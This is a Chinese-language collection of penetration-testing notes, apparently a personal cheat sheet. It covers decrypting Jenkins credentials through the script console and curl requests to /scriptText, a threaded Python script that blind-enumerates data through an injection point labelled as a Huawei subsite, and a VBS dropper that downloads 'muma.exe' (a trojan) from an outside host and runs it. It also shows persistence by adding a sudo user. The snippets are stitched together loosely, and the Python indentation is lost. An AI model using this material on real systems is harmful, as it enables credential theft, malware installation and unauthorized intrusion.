[root @ localhost secrets]#cat hudson.util.Secret | hexdump -C
00000000 de 03 88 1c 89 df 74 7a 3d f0 00 27 dc 9b e1 a3 | ...... tz = ..'.... |
00000010 e0 61 1d 99 30 31 91 95 e3 3b 2f 6d 8c a8 1f 4d | .a..01 ...; / m ... M |
00000020 38 b6 eb 20 13 27 38 e7 5b 93 09 e5 91 04 b8 53 | 8 .. .8。[...... S |
00000030 df 64 68 75 39 47 3a 2b 2a 17 69 64 ee bc 75 7b | .dhu9G:+ *。id..u {|
00000040 07 5f a1 e9 69 a2 d8 23 9f ad 6b 4d eb db 91 c5 | .. .. .. .. .. kM .... |
00000050 24 06 6b bc 3c d7 4f 16 e3 ab 95 19 72 f0 75 e7 | $ .k。<。O ..... ru |
00000060 c1 6c 2c 9d 0f 3f 06 99 4e 9f b4 50 12 44 91 1c | .l,..?.. N..PD。|
00000070 35 78 3c c3 cd 1a 2a 77 6e b5 90 4e 7d eb 3c f6 | 5x <... * wn..N}。<。|
00000080 fd c9 53 9e 6f 69 73 02 7b f8 dc 72 f2 60 12 cc | ..S.ois。{.. r.` .. |
00000090 ae df 4a 10 65 23 bb 34 36 db 7c 38 f0 a6 fc a3 | ..Je#.46。| 8 .... |
000000a0 24 d2 b6 a5 28 b9 58 f8 40 45 0f 83 39 5e da b4 | $ ...(。X. @ E..9 ^ .. |
000000b0 5d 93 f0 8f 33 06 bd af 47 b9 d0 b1 ec 26 39 ef |] ... 3 ... G ....&9. |
000000c0 53 25 6a d8 ce c6 ec a5 26 5b ee 85 20 df 63 4d | S%j .....&[.. .cM |
000000d0 f7 f4 94 33 c4 8e 3d 82 ad a9 45 4e be 3e dc 0e | ... 3 .. = ... EN。> .. |
000000e0 1e d9 49 47 36 3d 38 f3 eb 29 22 22 0c c9 b5 0a | ..IG6 = 8 ..)“”.... |
000000f0 68 a0 e4 0d 0d 5b 99 08 3f 4e 03 8a 70 78 7c a7 | h .... [..?N..px |。|
00000100 28 6a a7 93 8b 23 10 54 dd 49 6f f5 67 f4 9c 3c |(j ...#。T.Io.g .. <|
00000110
[root @ localhost secrets]#wc hudson.util.Secret 
  1 7 272 hudson.util.Secret

master.key

6fa18d9aaac920b016d119b76de75251f472ec6f44734533d64eeb5de794f1ca33108a7a7c853a3acf084184e3e93ff98484d668a32d16f810cce970f93c750da0b785cb25527384acab38015c1a3e180a342b807f724da01f3e94584ac60651dc7f1958f3e2c6ed1a16990cbbcc361c82e3b65e96f435173ea67b7255d6810f

解密

Jenkins 使用master.key来加密hudson.util.Secret密钥,hudson.util.Secret又用于加密credentials.xml中的密码。使用的加密算法为AES-128-ECB

1.Script 控制台执行:

println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") )

或者

hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

2.Python 脚本:

有国外的安全研究员公开了解密脚本:

https://github.com/tweksteen/jenkins-decrypt

https://gist.github.com/carnal0wnage/80611a9c035046b2d400d90303355ff0#file-decrypt-py

root@kali:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml
  • Curl

http://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html

Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

获得 root 权限之后就可进行横向渗透等操作

参考

#coding=utf8
import json
import threading,time
import gzip
import msgpack
import urllib
import urllib2
import tarfile

result = “”;
f = open(“data.txt”,”w”)
#MyThread.py线程类
class MyThread(threading.Thread):
def init(self, func, args=()):
super(MyThread, self).init()
self.func = func
self.args = args

def run(self):
time.sleep(2)
self.result = self.func(*self.args)

def get_result(self):
threading.Thread.join(self) # 等待线程执行完毕
try:
return self.result
except Exception:
return None

def request(surestr):#只发包
try:
url = “http://华为分站注入点/”
values = {“reason”:””,”coopAccount”:surestr, “activateType”:”p@sswordReset”}
#print “Test:”+surestr
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
res_data = urllib2.urlopen(req)
res = res_data.read()
if res_data.getcode() == 200:
return surestr+”|”+str(len(res))
except urllib2.HTTPError, err:
print(err.code)
print(err.read())
raise

def enum(surestr):#遍历发包,调整字符串
global result
enumchars = “qwertyuioplkjhgfdsazxcvbnm-_123456789.@()”
tp = []
if surestr == “*”:
surestr = “”
for chars in enumchars:
mt = MyThread(request, ((surestr+chars+”*”),))
#print “StartThread:request(“+surestr+chars+”*”+”)”
tp.append(mt)
mt.start()

flag = 0
for t in tp:
t.join()
retcode = t.get_result()
rc = retcode.split(‘|’)
if rc[1] != “53”:
print (“\rGot:”+rc[0]),
enum(rc[0].strip(‘*’))
flag = 1
else:
continue
if flag == 0:
print “\rComplete:”+surestr
result=result+surestr+”\n”

print enum(“*”)
f.write(result)
f.close()

echo Set Post = CreateObject(“Msxml2.XMLHTTP”) >>zl.vbs
echo Set Shell = CreateObject(“Wscript.Shell”) >>zl.vbs
echo Post.Open “GET”,”http://www.jbzj.com/muma.exe”,0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject(“ADODB.Stream”) >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile “c:\zl.exe”,2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run (“c:\zl.exe”) >>zl.vbs

权限维持

添加用户,非交互式设置密码并加入sudo组
adduser python32
echo python32:password|chpasswd
gpasswd -a username sudo
移动home目录:sudo usermod -d /path/to/new/home -m username

文件下载

tar -cvf log.tar log2012.log 仅打包,不压缩!
tar -zcvf log.tar.gz log2012.log 打包后,以 gzip 压缩
tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩

python -m SimpleHTTPServer 8001